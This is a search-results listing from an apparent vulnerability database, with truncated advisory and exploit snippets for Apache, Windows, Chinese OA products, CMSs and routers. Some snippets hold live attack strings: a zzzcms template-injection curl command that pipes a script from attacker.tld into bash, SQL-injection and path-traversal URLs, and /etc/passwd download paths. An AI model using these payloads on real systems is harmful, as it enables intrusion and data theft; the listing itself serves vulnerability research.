56796 matches found
Apache HTTP Server mod_proxy反向代理模式安全限制绕过漏洞
BUGTRAQ ID: 50802 CVE ID: CVE-2011-4317 Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器，可以在大多数电脑操作系统中运行，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。 Apache HTTP Server在反向代理模式中配置modproxy模块时错误地处理了某些Web请求，可通过特制的URL向代理后方的服务器发送请求，从而绕过某些安全限制。 Apache 2.2.x Apache 2.0.x 厂商补丁： Apache Group ------------...
Pulse Connect Secure 授权 RCE (CVE-2021-22937) 漏洞
...
Microsoft Windows Internet打印服务整数溢出漏洞（MS08-062）
BUGTRAQ ID: 31682 CVECAN ID: CVE-2008-1446 Microsoft Windows是微软发布的非常流行的操作系统。 IIS的Internet打印协议ISAPI扩展在处理特制的IPP响应时存在整数溢出漏洞。如果Windows系统上在运行IIS且启用了Internet打印服务的话，远程攻击者可以通过特制的HTTP POST请求诱骗受影响的服务器连接到恶意的IPP服务器来触发这个溢出，导致执行任意指令。 Microsoft Windows XP SP3 Microsoft Windows XP SP2 Microsoft Windows Vista SP1...
泛微E-office /E-mobile/flowsorce_page.php等20处 SQL注入漏洞
0x01漏洞简介 泛微E-office在以下20处存在SQL注入漏洞 1/E-mobile/flowdopage.php?diff=delete&RUNID=1 //参数RUNID 2/E-mobile/flowdopage.php?diff=delete&flowid=1 //参数flowid 3/E-mobile/flowsorcepage.php?flowid=2 4/E-mobile/flownextpage.php?diff=candeal&detailid=2 5/E-mobile/flowimagepage.php?FLOWID=2...
An Analysis of the OpenSSL SSL Handshake Error State Security Bypass (CVE-2017-3737)
OpenSSL is a widely used library for SSL and TLS protocol implementation that secures data using encryption and decryption based on cryptographic functions. However, a Security Bypass vulnerability – recently addressed in a patch by the OpenSSL Project –can be exploited to make vulnerable SSL...
Microsoft Office 内存损坏漏洞(CVE-2015-1641)
来源： http://drops.wooyun.org/papers/9809 Microsoft Office 内存损坏漏洞 0x01 漏洞概述 今年4月份微软修补了一个名为CVE-2015-1641的word类型混淆漏洞，攻击者可以构造嵌入了docx的rtf文档进行攻击。word在解析docx文档处理displacedByCustomXML属性时未对customXML对象进行验证，可以传入其他标签对象进行处理，造成类型混淆，导致任意内存写入，最终经过精心构造的标签以及对应的属性值可以造成远程任意代码执行。 根据微软官方MS15-33安全公告里显示，这个漏洞覆盖Office 2007...
Dr.COM DrcomManager 任意文件下载漏洞
No description provided by source...
Etcd REST API 未授权访问漏洞
From an application security perspective databases are the most valuable parts of our systems. They store the data that gives value to our apps and companies. This data which has been entrusted to us by our users should be kept safe and away of the hands of criminals. Every developer I talk to is...
TLS Renegotiation Vulnerability PoC
No description provided by source. !/usr/bin/env python RedTeam Pentesting GmbH [email protected] http://www.redteam-pentesting.de PoC exploit for the TLS renegotiation vulnerability CVE-2009-3555 License ------- CC-BY-SA http://creativecommons.org/licenses/by-sa/3.0/ Timeline -------...
MetInfo 6.0.0代码执行漏洞（后台直接拿shell）
...
Apache Tomcat Security Bypass Vulnerability(CVE-2018-1305)
Vendor: The Apache Software Foundation Versions Affected: Apache Tomcat 9.0.0.M1 to 9.0.4 Apache Tomcat 8.5.0 to 8.5.27 Apache Tomcat 8.0.0.RC1 to 8.0.49 Apache Tomcat 7.0.0 to 7.0.84 Description: Security constraints defined by annotations of Servlets were only applied once a Servlet had been...
用友致远A6 /yyoa/DownExcelBeanServlet 敏感信息泄露
用友致远A6协同系统 存在问题的链接： /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&perid=0 只有系统管理才有的权限，但是任意用户都可以访问。 可以下载所有员工的个人信息，包括身份证、联系方式、职位等敏感信息。 以某公司为例子，直接访问： http://oa.juntongtongxin.com/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&perid=0...
SugarCRM v6. 5. 23 PHP deserialize an object injection vulnerability
Author: p0wd3r know Chong Yu 404 security lab Date: 2016-09-12 0x00 vulnerability overview 1. Vulnerability description SugarCRM（http://www.sugarcrm.com/ is a set of open source Customer Relationship Management System. Recent researchers found in its=6.5.23 version exists in the deserialization...
Joomla Webring Component <= 1.0 - Remote Include Vulnerability
No description provided by source. C Y BE R - W A R R i O R T I M Joomla Webring Component componentdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: in admin.webring.docs.php, line 12 requireonce $componentdir. mungdocs.class.php; Google...
Ehcache RMI 远程代码执行漏洞( CVE-2020-36239)
...
Remote Code Execution in CouchDB(CVE-2017-12635)
There was a vulnerability in CouchDB caused by a discrepancy between the database’s native JSON parser and the Javascript JSON parser used during document validation. Because CouchDB databases are meant to be exposed directly to the internet, this enabled privilege escalation, and ultimately remo...
Microsoft SharePoint Server 2007 XSS Vulnerability
No description provided by source. Vulnerability ID: HTB22350 Reference: http://www.htbridge.ch/advisory/xssinmicrosoftsharepointserver2007.html http://www.microsoft.com/technet/security/advisory/983438.mspx Product: Microsoft SharePoint Server 2007 Vendor: Microsoft Corporation Vulnerable Versio...
PHP-Nuke <= 7.9 Final (phpbb_root_path) Remote File Inclusions
No description provided by source. Milli-Harekat Advisory www.milli-harekat.org PHP-Nuke = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : PHP NUKE ALL VERSION Credits : ERNE Thanks : DjReMix,Eskobar,TRIP,ßy KorsaN,OsL3m7,Poizonbox,Dilejyoner and All MHG USER...
Dahua DVR 2.608.0000.0 and 2.608.GV00.0 - Authentication Bypass
No description provided by source. Dahua DVR Authentication Bypass - CVE-2013-6117 --Summary-- Dahua web-enabled DVRs and rebranded versions do not enforce authentication on their administrative services. Zhejiang Dahua Technology Co., Ltd. http://www.dahuasecurity.com --Affects-- Dahua web-enabl...
实战绕过云锁(1.3.145)进行注入测试绕过技巧
简要描述： 这次来个实例 详细说明： @疯狗 感谢提示，参考zone http://zone.wooyun.org/content/16772 id=8E0union select ...这种方式 和id=8.0union select ... 漏洞证明： 本地搭建74cms web环境并把云锁所有防护打开。 下面注入点是把对应intval去掉后测试的 include/funwap.php function companyone$id global $db; $wheresql=" WHERE id=".$id;//这里 $sql = "select from...
Apache HTTP Server "ap_pregsub()"函数本地权限提升漏洞
BUGTRAQ ID: 50494 CVE ID: CVE-2011-3607 Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器，可以在大多数电脑操作系统中运行，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。 Apache HTTP Server在"appregsub"函数的实现上存在本地权限提升漏洞，本地攻击者可利用此漏洞以提升的权限执行任意代码。 要触发此漏洞，需要启用modsetenvif，并且攻击者可以在受影响服务器中放置恶意的.htaccess文件。此漏洞源于 "appregsub" 函数 server/utils.c...
Pivot 1.0 - Remote module_db.PHP File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10553/info It has been reported that Pivot is affected by a remote file include vulnerability contained within the moduledb.php script. This issue is due to a failure of the application to properly sanitize user-supplied...
ProFTPD mod_tls模块CA SSL证书验证漏洞
BUGTRAQ ID: 36804 CVE ID: CVE-2009-3639 ProFTPD是一款开放源代码FTP服务程序。 ProFTPD的modtls模块没有正确地处理X.509证书主题通用名称（CN）字段域名中的空字符（\0），在处理包含有空字符的证书字段时错误地将空字符处理为截止字符，因此只会验证空字符前的部分。例如，对于类似于以下的名称： example.com\0.haxx.se 证书是发布给haxx.se的，但modtls模块错误的验证给example.com，这有助于攻击者通过中间人攻击执行网络钓鱼等欺骗。 必须满足以下modtls配置的情况下服务器才受这个漏洞影响：...
FileSeek CGI Script File Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6784/info FileSeek is an example cgi-script from The CGI/Perl Cookbook from John Wiley & Sons. The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server...
某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令
简要描述： 某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令； 详细说明： 爱觅桔智能搜索引擎是中科汇联自主研发的“提供知识的搜索引擎”,首创知识图谱关联、百姓体匹配、智能引导、自定义框计算等特色搜索服务功能,采用语义理解技术、机器学习技术,实现智能搜索、文档搜索、多媒体搜索功能。 漏洞一：第三方组件调用未进行授权访问 网站调用了jquery 显示本地文件的插件 jQuery File Tree： 文件分别为 jquery.js jquery核心库 jqueryFileTree.js （jqueryFileTree核心库） jqueryFileTree.jsp...
Sendmail CA SSL证书验证漏洞
BUGTRAQ ID: 37543 CVE ID: CVE-2009-4565 Sendmail是很多大型站点都在使用的邮件传输代理（MTA）。 Sendmail没有正确地验证X.509证书主题的通用名称（CN）字段的域名中的空字符（\0），在处理包含有空字符的证书字段时错误地将空字符处理为截止字符，因此只会验证空字符前的部分。例如，对于类似于以下的名称： example.com\0.haxx.se...
Vacron NVR Remote Command Execution
Vulnerability Summary The following advisory describes a remote command execution vulnerability. VACRON Specializing in “various types of mobile monitoring, CCTV monitoring system, IP remote image monitoring system monitoring and other related production, and can accept ODM, OEM and other...
Dotproject 2.0 /modules/projects/vw_files.php dPconfig[root_dir] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/16648/info Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to includ...
Heartbleed OpenSSL - Information Leak Exploit (2) - DTLS Support
No description provided by source. / CVE-2014-0160 heartbleed OpenSSL information leak exploit ========================================================= This exploit uses OpenSSL to create an encrypted connection and trigger the heartbleed leak. The leaked information is returned within encrypted...
OpenVPN 2.2.29 - ShellShock Exploit
No description provided by source. Exploit Title: ShellShock OpenVPN Exploit Date: Fri Oct 3 15:48:08 EDT 2014 Exploit Author: hobbily AKA @fj33r Version: 2.2.29 Tested on: Debian Linux CVE : CVE-2014-6271 Probably should of submitted this the day I tweeted it. server.conf port 1194 proto udp dev...
webSPELL 4.2.0c Bypass BBCode XSS Cookie Stealing Vulnerability
No description provided by source. || || || -----------------------------------------\ == -- ----------- ---------------------------- ------------------/ ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O PROUD TO BE SPANISH! -------------------...
zenphoto 1.4.3.3 - Multiple Vulnerabilities
No description provided by source. waraxe-2012-SA096 - Multiple Vulnerabilities in Zenphoto 1.4.3.3 =============================================================================== Author: Janek Vind waraxe Date: 03. November 2012 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-96.html...
Kangle虚拟主机本地文件包含漏洞
测试环境：kangle-3.3.9.msi，ep-2.6.4.exe（官方4-18日更新），windows XP 首先安装kangle server，然后安装easypanel，安装成功后访问http://127.0.0.1:3312/，会自动跳转到http://127.0.0.1:3312/vhost/?c=session&a=loginForm。 然后随便输入用户名密码登陆，如图发送的请求： 然后修改请求url中的参数c的值，将session改为： C=../../../../../../../../../../../windows/system.ini%00...
用友某系统漏洞(SSRF&Java反序列化命令执行漏洞)
简要描述： 1.SSRF内网信息嗅探； 2.Java反序列化命令执行：获取系统权限。 详细说明： 用友私有云运营中心 http://219.232.202.154:8080//home 部署的weblogic： 漏洞证明： 1.SSRF 默认搜索页面存在： 结合http://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html，以localhost为例进行测试： 2.Java反序列化命令执行 测试EXP:...
zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）
curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...
冰峰VPN /log/system.log 敏感信息泄漏漏洞
由于“ICEFLOW VPN Router”设备产品存在各种日志文件未授权访问可导致系统敏感信息泄漏。（包括登录成功后的session值） 系统日志http://url/log/system.log VPN日志http://url/log/vpn.log 移动用户日志http://url/log/mobile.log 防火墙日志http://url/log/firewall.log 访问日志http://url/log/access.log 告警日志http://url/log/warn.log 错误日志http://url/log/error.log...
Eclipse Jetty 信息泄露漏洞（CVE-2021-28169）
...
ASUS RT-N16 - Text-plain Admin Password Disclosure
Description ----------- Several ASUS routers include reflected Cross-Site Scripting CWE-79 and authentication bypass CWE-592 vulnerabilities. An attacker who can lure a victim to browse to a web site containing a specially crafted JavaScript payload can execute arbitrary commands on the router as...
PHPOpenChat 2.3.4/3.0.1 PoC.php Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/12817/info PHPOpenChat is prone to multiple remote file-include vulnerabilities. An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the...
Coppermine Photo Gallery 1.x theme.php Multiple Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/10253/info Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly...
大汉版通JCMS内容管理系统任意文件下载漏洞
简要描述： 多处任意文件下载，影响版本未知，大概都影响吧。 详细说明： 1. http://target/jcms/m59/sendreport/downfile.jsp?filename=/etc/passwd&savename=passwd.txt 要得到网站路径，访问：http://target/jcms/m59/sendreport/，然后生成报表就看得到了。 2...
Oracle MySQL Server远程安全漏洞(CVE-2013-3783)
BUGTRAQ ID: 61210 CVECAN ID: CVE-2013-3783 Oracle MySQL Server是一个轻量的关系型数据库系统。 Oracle MySQL Server 5.5.31之前版本存在远程安全漏洞，此漏洞可通过MySQL协议利用，Server Parser子组件受到影响。远程攻击者可利用此漏洞造成拒绝服务。 0 MySQL Server = 5.5.31 厂商补丁： Oracle ------ Oracle已经为此发布了一个安全公告（cpujuly2013-1899826）以及相应补丁: cpujuly2013-1899826：Oracle...
AJ HYIP ACME (news.php id) Remote SQL Injection Vulnerability
No description provided by source. HYIP ACME Version SQL Injection Vulnerability ======================================================== Author: Hussin X = = Home : www.tryag.cc/cc = = email: darkangelg85atYahooDoTcom = hussin.xathotmailDoTcom = =...
泛微 OA sysinterface/codeEdit.jsp 页面任意文件上传
0x01 漏洞概述 相关厂商： 泛微OA 官方主页： http://www.weaver.com.cn/ 公开时间： 2015-11-25 漏洞类型： 非授权访问/权限绕过 无需登录上传文件。 http://localhost:8088/sysinterface/codeEdit.jsp?filename=5308.java&filetype=java filename为文件名称 为空时会自动创建。 0x02 漏洞利用 代码详情 String fileid = "Ewv"; String readonly = ""; boolean isCreate = false;...
Jax Guestbook 3.31/3.50 - 'jax_guestbook.php' Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/28523/info Jax Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of a...
iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit
No description provided by source. !-- iMesh = 7.1.0.x IMWebControl Class IMWeb.dll 7.0.0.x remote heap exploit IE7/XP full patched by rgod, site: http://retrogod.altervista.org/ software site: http://www.imesh.com "iMesh is a file sharing and online social network. It uses a proprietary,...
DokuWiki fetch.php SSRF vulnerability
Author: baolongniucow protection Dragon About DokuWiki DokuWiki is an open source wiki engine program, running on PHP environment. DokuWiki program small but powerful, flexible, suitable for small teams and personal web site Knowledge Base management. Vulnerability description DokuWiki latest...
Ubuntu PAM 1.1.0 MOTD - Local Root Exploit
No description provided by source. !/bin/bash Exploit Title: Ubuntu PAM MOTD local root Date: July 9, 2010 Author: Anonymous Software Link: http://packages.ubuntu.com/ Version: pam-1.1.0 Tested on: Ubuntu 9.10 Karmic Koala, Ubuntu 10.04 LTS Lucid Lynx CVE: CVE-2010-0832 Patch Instructions: sudo...